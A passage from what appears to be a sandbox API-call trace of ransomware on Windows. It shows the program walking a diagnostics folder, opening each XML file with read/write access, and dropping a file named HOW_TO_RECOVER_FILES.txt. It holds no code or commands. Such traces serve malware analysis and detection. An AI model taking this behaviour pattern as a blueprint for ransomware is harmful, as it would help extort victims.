ftCreationTime.dwLowDateTime=0xc779c570, ftCreationTime.dwHighDateTime=0x1d336c5, ftLastAccessTime.dwLowDateTime=0x4e24298b, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0xb9eacc8c, ftLastWriteTime.dwHighDateTime=0x1d336c5, nFileSizeHigh=0x0, nFileSizeLow=0x433c)) returned 1 [0103.641] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edc40) returned 1 [0103.641] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\acae4208-0ac4-4ef7-ac45-bb688b09e559_show.xml", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\acae4208-0ac4-4ef7-ac45-bb688b09e559_show.xml", lpFilePart=0x0) returned 0x5c [0103.641] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0103.641] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\acae4208-0ac4-4ef7-ac45-bb688b09e559_show.xml" (normalized: "c:\\programdata\\microsoft\\diagnosis\\softlanding\\acae4208-0ac4-4ef7-ac45-bb688b09e559_show.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0103.643] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ea570) returned 1 [0103.643] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\acae4208-0ac4-4ef7-ac45-bb688b09e559_withdraw.xml", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\acae4208-0ac4-4ef7-ac45-bb688b09e559_withdraw.xml", lpFilePart=0x0) returned 0x60 [0103.643] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edc80) returned 1 [0103.643] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\acae4208-0ac4-4ef7-ac45-bb688b09e559_withdraw.xml" (normalized: "c:\\programdata\\microsoft\\diagnosis\\softlanding\\acae4208-0ac4-4ef7-ac45-bb688b09e559_withdraw.xml"), fInfoLevelId=0x0, lpFileInformation=0x328fbf0 | out: lpFileInformation=0x328fbf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc779c570, ftCreationTime.dwHighDateTime=0x1d336c5, ftLastAccessTime.dwLowDateTime=0x4e28ee3c, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0xba09c6cc, ftLastWriteTime.dwHighDateTime=0x1d336c5, nFileSizeHigh=0x0, nFileSizeLow=0x443f)) returned 1 [0103.644] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edc40) returned 1 [0103.644] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\acae4208-0ac4-4ef7-ac45-bb688b09e559_withdraw.xml", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\acae4208-0ac4-4ef7-ac45-bb688b09e559_withdraw.xml", lpFilePart=0x0) returned 0x60 [0103.644] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0103.644] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\acae4208-0ac4-4ef7-ac45-bb688b09e559_withdraw.xml" (normalized: "c:\\programdata\\microsoft\\diagnosis\\softlanding\\acae4208-0ac4-4ef7-ac45-bb688b09e559_withdraw.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0103.645] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ea570) returned 1 [0103.646] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\c0802597-6174-487a-b7de-20e8b1aa384e_show.xml", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\c0802597-6174-487a-b7de-20e8b1aa384e_show.xml", lpFilePart=0x0) returned 0x5c [0103.646] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edc80) returned 1 [0103.646] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\c0802597-6174-487a-b7de-20e8b1aa384e_show.xml" (normalized: "c:\\programdata\\microsoft\\diagnosis\\softlanding\\c0802597-6174-487a-b7de-20e8b1aa384e_show.xml"), fInfoLevelId=0x0, lpFileInformation=0x32904c8 | out: lpFileInformation=0x32904c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc779c570, ftCreationTime.dwHighDateTime=0x1d336c5, ftLastAccessTime.dwLowDateTime=0x4e2b5071, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0xb8d3a091, ftLastWriteTime.dwHighDateTime=0x1d336c5, nFileSizeHigh=0x0, nFileSizeLow=0x442d)) returned 1 [0103.646] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edc40) returned 1 [0103.646] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\c0802597-6174-487a-b7de-20e8b1aa384e_show.xml", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\c0802597-6174-487a-b7de-20e8b1aa384e_show.xml", lpFilePart=0x0) returned 0x5c [0103.646] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0103.646] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\c0802597-6174-487a-b7de-20e8b1aa384e_show.xml" (normalized: "c:\\programdata\\microsoft\\diagnosis\\softlanding\\c0802597-6174-487a-b7de-20e8b1aa384e_show.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0103.648] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ea570) returned 1 [0103.648] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\c0802597-6174-487a-b7de-20e8b1aa384e_withdraw.xml", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\c0802597-6174-487a-b7de-20e8b1aa384e_withdraw.xml", lpFilePart=0x0) returned 0x60 [0103.648] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edc80) returned 1 [0103.648] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\c0802597-6174-487a-b7de-20e8b1aa384e_withdraw.xml" (normalized: "c:\\programdata\\microsoft\\diagnosis\\softlanding\\c0802597-6174-487a-b7de-20e8b1aa384e_withdraw.xml"), fInfoLevelId=0x0, lpFileInformation=0x3290d78 | out: lpFileInformation=0x3290d78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc77c27a6, ftCreationTime.dwHighDateTime=0x1d336c5, ftLastAccessTime.dwLowDateTime=0x4e2db2dd, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0xb8c553ea, ftLastWriteTime.dwHighDateTime=0x1d336c5, nFileSizeHigh=0x0, nFileSizeLow=0x4187)) returned 1 [0103.649] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edc40) returned 1 [0103.649] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\c0802597-6174-487a-b7de-20e8b1aa384e_withdraw.xml", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\c0802597-6174-487a-b7de-20e8b1aa384e_withdraw.xml", lpFilePart=0x0) returned 0x60 [0103.649] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0103.649] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\c0802597-6174-487a-b7de-20e8b1aa384e_withdraw.xml" (normalized: "c:\\programdata\\microsoft\\diagnosis\\softlanding\\c0802597-6174-487a-b7de-20e8b1aa384e_withdraw.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0103.650] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ea570) returned 1 [0103.651] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\e80c855c-d75c-47b1-9ae4-f07f8c6c613d_show.xml", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\e80c855c-d75c-47b1-9ae4-f07f8c6c613d_show.xml", lpFilePart=0x0) returned 0x5c [0103.651] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edc80) returned 1 [0103.651] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\e80c855c-d75c-47b1-9ae4-f07f8c6c613d_show.xml" (normalized: "c:\\programdata\\microsoft\\diagnosis\\softlanding\\e80c855c-d75c-47b1-9ae4-f07f8c6c613d_show.xml"), fInfoLevelId=0x0, lpFileInformation=0x3291650 | out: lpFileInformation=0x3291650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc77c27a6, ftCreationTime.dwHighDateTime=0x1d336c5, ftLastAccessTime.dwLowDateTime=0x4e301522, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0xbb0b32d3, ftLastWriteTime.dwHighDateTime=0x1d336c5, nFileSizeHigh=0x0, nFileSizeLow=0x418b)) returned 1 [0103.652] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edc40) returned 1 [0103.652] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\e80c855c-d75c-47b1-9ae4-f07f8c6c613d_show.xml", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\e80c855c-d75c-47b1-9ae4-f07f8c6c613d_show.xml", lpFilePart=0x0) returned 0x5c [0103.652] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0103.652] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\e80c855c-d75c-47b1-9ae4-f07f8c6c613d_show.xml" (normalized: "c:\\programdata\\microsoft\\diagnosis\\softlanding\\e80c855c-d75c-47b1-9ae4-f07f8c6c613d_show.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0103.653] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ea570) returned 1 [0103.654] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\e80c855c-d75c-47b1-9ae4-f07f8c6c613d_withdraw.xml", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\e80c855c-d75c-47b1-9ae4-f07f8c6c613d_withdraw.xml", lpFilePart=0x0) returned 0x60 [0103.654] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edc80) returned 1 [0103.654] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\e80c855c-d75c-47b1-9ae4-f07f8c6c613d_withdraw.xml" (normalized: "c:\\programdata\\microsoft\\diagnosis\\softlanding\\e80c855c-d75c-47b1-9ae4-f07f8c6c613d_withdraw.xml"), fInfoLevelId=0x0, lpFileInformation=0x3291f00 | out: lpFileInformation=0x3291f00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc77e89d5, ftCreationTime.dwHighDateTime=0x1d336c5, ftLastAccessTime.dwLowDateTime=0x4e34d9d0, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0xbaf35d10, ftLastWriteTime.dwHighDateTime=0x1d336c5, nFileSizeHigh=0x0, nFileSizeLow=0x4172)) returned 1 [0103.654] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edc40) returned 1 [0103.654] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\e80c855c-d75c-47b1-9ae4-f07f8c6c613d_withdraw.xml", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\e80c855c-d75c-47b1-9ae4-f07f8c6c613d_withdraw.xml", lpFilePart=0x0) returned 0x60 [0103.654] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0103.654] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\e80c855c-d75c-47b1-9ae4-f07f8c6c613d_withdraw.xml" (normalized: "c:\\programdata\\microsoft\\diagnosis\\softlanding\\e80c855c-d75c-47b1-9ae4-f07f8c6c613d_withdraw.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0103.657] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ea570) returned 1 [0103.658] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\e9d21752-8fc9-4793-b42e-33105b078a51_show.xml", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\e9d21752-8fc9-4793-b42e-33105b078a51_show.xml", lpFilePart=0x0) returned 0x5c [0103.658] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edc80) returned 1 [0103.658] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\e9d21752-8fc9-4793-b42e-33105b078a51_show.xml" (normalized: "c:\\programdata\\microsoft\\diagnosis\\softlanding\\e9d21752-8fc9-4793-b42e-33105b078a51_show.xml"), fInfoLevelId=0x0, lpFileInformation=0x32927d8 | out: lpFileInformation=0x32927d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c930e8, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0x4e399e7e, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0x8507a310, ftLastWriteTime.dwHighDateTime=0x1d327b4, nFileSizeHigh=0x0, nFileSizeLow=0x5c3a)) returned 1 [0103.658] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edc40) returned 1 [0103.658] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\e9d21752-8fc9-4793-b42e-33105b078a51_show.xml", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\e9d21752-8fc9-4793-b42e-33105b078a51_show.xml", lpFilePart=0x0) returned 0x5c [0103.658] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0103.658] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\e9d21752-8fc9-4793-b42e-33105b078a51_show.xml" (normalized: "c:\\programdata\\microsoft\\diagnosis\\softlanding\\e9d21752-8fc9-4793-b42e-33105b078a51_show.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0103.660] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ea570) returned 1 [0103.660] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\e9d21752-8fc9-4793-b42e-33105b078a51_withdraw.xml", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\e9d21752-8fc9-4793-b42e-33105b078a51_withdraw.xml", lpFilePart=0x0) returned 0x60 [0103.660] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edc80) returned 1 [0103.660] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\e9d21752-8fc9-4793-b42e-33105b078a51_withdraw.xml" (normalized: "c:\\programdata\\microsoft\\diagnosis\\softlanding\\e9d21752-8fc9-4793-b42e-33105b078a51_withdraw.xml"), fInfoLevelId=0x0, lpFileInformation=0x3293088 | out: lpFileInformation=0x3293088*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c930e8, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0x4e458a8d, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0x85007c03, ftLastWriteTime.dwHighDateTime=0x1d327b4, nFileSizeHigh=0x0, nFileSizeLow=0x424c)) returned 1 [0103.661] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edc40) returned 1 [0103.661] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\e9d21752-8fc9-4793-b42e-33105b078a51_withdraw.xml", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\e9d21752-8fc9-4793-b42e-33105b078a51_withdraw.xml", lpFilePart=0x0) returned 0x60 [0103.661] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0103.661] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\e9d21752-8fc9-4793-b42e-33105b078a51_withdraw.xml" (normalized: "c:\\programdata\\microsoft\\diagnosis\\softlanding\\e9d21752-8fc9-4793-b42e-33105b078a51_withdraw.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0103.663] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ea570) returned 1 [0103.663] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\fffd8b5d-0172-4719-a792-b7c76986459d_show.xml", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\fffd8b5d-0172-4719-a792-b7c76986459d_show.xml", lpFilePart=0x0) returned 0x5c [0103.663] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edc80) returned 1 [0103.664] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\fffd8b5d-0172-4719-a792-b7c76986459d_show.xml" (normalized: "c:\\programdata\\microsoft\\diagnosis\\softlanding\\fffd8b5d-0172-4719-a792-b7c76986459d_show.xml"), fInfoLevelId=0x0, lpFileInformation=0x3293960 | out: lpFileInformation=0x3293960*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc780ec0e, ftCreationTime.dwHighDateTime=0x1d336c5, ftLastAccessTime.dwLowDateTime=0x4e4a4f18, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0xb806a476, ftLastWriteTime.dwHighDateTime=0x1d336c5, nFileSizeHigh=0x0, nFileSizeLow=0x43ad)) returned 1 [0103.664] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edc40) returned 1 [0103.664] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\fffd8b5d-0172-4719-a792-b7c76986459d_show.xml", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\fffd8b5d-0172-4719-a792-b7c76986459d_show.xml", lpFilePart=0x0) returned 0x5c [0103.664] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0103.664] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\fffd8b5d-0172-4719-a792-b7c76986459d_show.xml" (normalized: "c:\\programdata\\microsoft\\diagnosis\\softlanding\\fffd8b5d-0172-4719-a792-b7c76986459d_show.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0103.665] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ea570) returned 1 [0103.666] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\fffd8b5d-0172-4719-a792-b7c76986459d_withdraw.xml", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\fffd8b5d-0172-4719-a792-b7c76986459d_withdraw.xml", lpFilePart=0x0) returned 0x60 [0103.666] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edc80) returned 1 [0103.666] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\fffd8b5d-0172-4719-a792-b7c76986459d_withdraw.xml" (normalized: "c:\\programdata\\microsoft\\diagnosis\\softlanding\\fffd8b5d-0172-4719-a792-b7c76986459d_withdraw.xml"), fInfoLevelId=0x0, lpFileInformation=0x3294210 | out: lpFileInformation=0x3294210*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc780ec0e, ftCreationTime.dwHighDateTime=0x1d336c5, ftLastAccessTime.dwLowDateTime=0x4e4cb173, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0xb819b5fa, ftLastWriteTime.dwHighDateTime=0x1d336c5, nFileSizeHigh=0x0, nFileSizeLow=0x4443)) returned 1 [0103.666] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edc40) returned 1 [0103.666] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\fffd8b5d-0172-4719-a792-b7c76986459d_withdraw.xml", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\fffd8b5d-0172-4719-a792-b7c76986459d_withdraw.xml", lpFilePart=0x0) returned 0x60 [0103.666] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0103.666] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\fffd8b5d-0172-4719-a792-b7c76986459d_withdraw.xml" (normalized: "c:\\programdata\\microsoft\\diagnosis\\softlanding\\fffd8b5d-0172-4719-a792-b7c76986459d_withdraw.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0103.668] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ea570) returned 1 [0103.668] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f9ed920, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x47 [0103.668] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ede40) returned 1 [0103.669] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\programdata\\microsoft\\diagnosis\\softlanding\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x20c [0103.669] GetFileType (hFile=0x20c) returned 0x1 [0103.669] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9eddb0) returned 1 [0103.669] GetFileType (hFile=0x20c) returned 0x1 [0103.670] WriteFile (in: hFile=0x20c, lpBuffer=0x3296eb8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f9edf08, lpOverlapped=0x0 | out: lpBuffer=0x3296eb8*, lpNumberOfBytesWritten=0x1f9edf08*=0x5d0, lpOverlapped=0x0) returned 1 [0103.671] CloseHandle (hObject=0x20c) returned 1 [0103.671] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9eded0) returned 1 [0103.671] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLandingStage", nBufferLength=0x105, lpBuffer=0x1f9ed970, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLandingStage", lpFilePart=0x0) returned 0x33 [0103.671] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLandingStage\\*", lpFindFileData=0x1f9edbf0 | out: lpFindFileData=0x1f9edbf0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x4e4cb173, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0x4e4cb173, ftLastWriteTime.dwHighDateTime=0x1d33839, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131de00 [0103.671] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x4e4cb173, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0x4e4cb173, ftLastWriteTime.dwHighDateTime=0x1d33839, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0103.672] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x4e4cb173, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0x4e4cb173, ftLastWriteTime.dwHighDateTime=0x1d33839, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0103.672] FindClose (in: hFindFile=0x131de00 | out: hFindFile=0x131de00) returned 1 [0103.672] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ede10) returned 1 [0103.672] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9eddd0) returned 1 [0103.672] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9eded0) returned 1 [0103.672] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLandingStage", nBufferLength=0x105, lpBuffer=0x1f9ed970, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLandingStage", lpFilePart=0x0) returned 0x33 [0103.672] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLandingStage\\*", lpFindFileData=0x1f9edbf0 | out: 